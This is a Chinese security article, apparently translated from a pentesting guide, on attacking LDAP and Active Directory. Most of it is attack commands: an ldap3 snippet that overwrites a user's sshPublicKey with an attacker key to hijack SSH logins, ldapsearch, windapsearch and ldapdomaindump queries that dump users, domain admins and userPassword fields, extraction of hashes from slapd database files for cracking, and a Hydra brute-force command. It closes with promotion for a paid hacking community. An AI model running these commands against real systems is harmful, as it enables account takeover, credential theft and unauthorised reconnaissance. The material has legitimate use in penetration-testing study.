点击上方[蓝字],关注我们
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号团队不为此承担任何责任。
LDAP(轻量级目录访问协议)是一种软件协议,用于使任何人能够在网络上(无论是公共互联网还是企业内部网络)定位组织、个人和其他资源,如文件和设备。LDAP是目录访问协议(DAP)的“轻量级”(代码量较小)版本。
LDAP目录可以在多个服务器之间分布。每个服务器可以有一个复制的总目录版本,定期进行同步。LDAP服务器称为目录系统代理(DSA)。接收用户请求的LDAP服务器负责处理请求,并在必要时将其传递给其他DSA,但确保为用户提供单一协调的响应。
LDAP目录以简单的“树”层次结构组织,包括以下级别:
• 根目录(树的起始位置或源),分支到
• 国家,每个国家分支到
• 组织,分支到
• 组织单位(部门、部门等),分支到(包括一个条目)
• 个人(包括人员、文件和共享资源,如打印机)
默认端口:389和636(ldaps)。全局目录(ActiveDirectory中的LDAP)默认在端口3268上提供,LDAPS默认在端口3269上提供。
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
LDIF(LDAP数据交换格式)将目录内容定义为一组记录。它还可以表示更新请求(添加、修改、删除、重命名)。
dn: dc=local
dc: local
objectClass: dcObjectdn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization
dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev
dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales
dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: [email protected]
phone: 23627387495
• 第1-3行定义了顶级域local。
• 第5-8行定义了一级域moneycorp(moneycorp.local)。
• 第10-16行定义了2个组织单位:dev和sales。
• 第18-26行创建了一个域对象,并分配了带有值的属性。
请注意,如果您可以修改值,您可能能够执行非常有趣的操作。例如,想象一下,您可以更改您的用户或任何用户的"sshPublicKey"信息。很有可能,如果存在此属性,则ssh正在从LDAP中读取公钥。如果您可以修改用户的公钥,即使在ssh中未启用密码身份验证,您仍然可以作为该用户登录。
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
如果LDAP在没有SSL的情况下使用,你可以在网络中嗅探到明文凭证。
此外,你可以在LDAP服务器和客户端之间的网络中进行中间人攻击(MITM)。在这里,你可以进行降级攻击,使客户端使用明文凭证进行登录。
如果使用SSL,你可以尝试进行类似上述提到的MITM攻击,但提供一个伪造的证书,如果用户接受它,你就能够降级认证方法并再次查看凭证。
根据这篇文章[1],只需使用任意域名(如company.com)访问LDAP服务器,他就能够以匿名用户的身份联系LDAP服务并提取信息。
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
LDAP匿名绑定[2]允许未经身份验证的攻击者从域中检索信息,例如完整的用户、组、计算机、用户帐户属性和域密码策略列表。这是一种传统配置,从Windows Server 2003开始,只有经过身份验证的用户才能发起LDAP请求。 然而,管理员可能需要设置特定应用程序以允许匿名绑定并提供了超出预期访问权限的访问,从而使未经身份验证的用户可以访问AD中的所有对象。
如果您有有效的凭据登录LDAP服务器,可以使用以下命令转储有关域管理员的所有信息:
ldapdomaindump[3]
pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
使用此方法,您将能够查看公开信息(如域名):
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
您可以尝试使用Python进行LDAP枚举,无论是否使用凭据:pip3 install ldap3
首先尝试无凭据连接:
>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info
如果响应是True
,就像前面的例子一样,你可以从LDAP服务器获取一些有趣的数据(比如命名上下文或域名):
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN
一旦你获得了命名上下文,你可以进行一些更加有趣的查询。这个简单的查询应该会显示目录中的所有对象:
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries
或者转储整个ldap:
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries
Windapsearch[4] 是一个有用的Python脚本,通过利用LDAP查询来枚举Windows域中的用户、组和计算机。
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u [email protected] -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u [email protected] -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u [email protected] -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u [email protected] -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u [email protected] -p password --privileged-users
检查空凭证或验证您的凭证是否有效:
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839
如果你发现有关"bind必须完成"的内容,意味着凭证是不正确的。
你可以使用以下方法提取域中的所有内容:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
提取用户:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
提取 计算机:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
提取我的信息:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
提取 域管理员:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
提取域用户:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
提取企业管理员:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
提取 Administrators:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
提取远程桌面组:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
要查看是否有访问任何密码的权限,您可以在执行其中一个查询后使用grep命令:
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
请注意,您在这里找到的密码可能不是真实的...
您可以从这里下载pbis:https://github.com/BeyondTrust/pbis-open/,它通常安装在`/opt/pbis`目录下。 Pbis允许您轻松获取基本信息:
#Read keytab file
./klist -k /etc/krb5.keytab#Get known domains info
./get-status
./lsa get-status
#Get basic metrics
./get-metrics
./lsa get-metrics
#Get users
./enum-users
./lsa enum-users
#Get groups
./enum-groups
./lsa enum-groups
#Get all kind of objects
./enum-objects
./lsa enum-objects
#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done
从这里下载Apache Directory[5]。你可以在这里找到如何使用这个工具的示例[6]。
你可以在这里下载带有LDAP服务器的图形界面:http://www.jxplorer.org/downloads/users.html
默认情况下,它安装在:*/opt/jxplorer*
使用ldapsearch
命令,你可以通过使用参数-Y GSSAPI
来使用Kerberos进行身份验证,而不是通过NTLM进行身份验证。
如果你可以访问包含数据库的文件(可能在_/var/lib/ldap_中),你可以使用以下命令提取哈希值:
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
你可以将密码哈希值输入给John(从'{SSHA}'到'structural',不包括'structural')。
• 通用
• containers.ldif
• ldap.cfg
• ldap.conf
• ldap.xml
• ldap-config.xml
• ldap-realm.xml
• slapd.conf
• IBM SecureWay V3 服务器
• V3.sas.oc
• Microsoft Active Directory 服务器
• msadClassesAttrs.ldif
• Netscape Directory Server 4
• nsslapd.sas_at.conf
• nsslapd.sas_oc.conf
• OpenLDAP 目录服务器
• slapd.sas_at.conf
• slapd.sas_oc.conf
• Sun ONE Directory Server 5.1
• 75sas.ldif
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled outEntry_1:
Name: Notes
Description: Notes for LDAP
Note: |
LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to locate organizations, individuals, and other resources such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP).
https://book.hacktricks.xyz/pentesting/pentesting-ldap
Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
[1]
这篇文章: https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/[2]
LDAP匿名绑定: https://docs.microsoft.com/zh-cn/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled[3]
ldapdomaindump: https://github.com/dirkjanm/ldapdomaindump[4]
Windapsearch: https://github.com/ropnop/windapsearch[5]
从这里下载Apache Directory: https://directory.apache.org/studio/download/download-linux.html[6]
这里找到如何使用这个工具的示例: https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s
致力于红蓝对抗,实战攻防,星球不定时更新内外网攻防渗透技巧,以及最新学习研究成果等。常态化更新最新安全动态。专题更新奇技淫巧小Tips及实战案例。
涉及方向包括Web渗透、免杀绕过、内网攻防、代码审计、应急响应、云安全。星球中已发布 480+ 安全资源,针对网络安全成员的普遍水平,并为星友提供了教程、工具、POC&EXP以及各种学习笔记等等。(点我了解详情)
关注公众号回复“加群”,添加Z2OBot好友,自动拉你加入Z2O安全攻防交流群(微信群)分享更多好东西。
关注福利:
回复“app" 获取 app渗透和app抓包教程
回复“渗透字典" 获取 针对一些字典重新划分处理,收集了几个密码管理字典生成器用来扩展更多字典的仓库。
回复“书籍" 获取 网络安全相关经典书籍电子版pdf
回复“资料" 获取 网络安全、渗透测试相关资料文档
点个【 在看 】,你最好看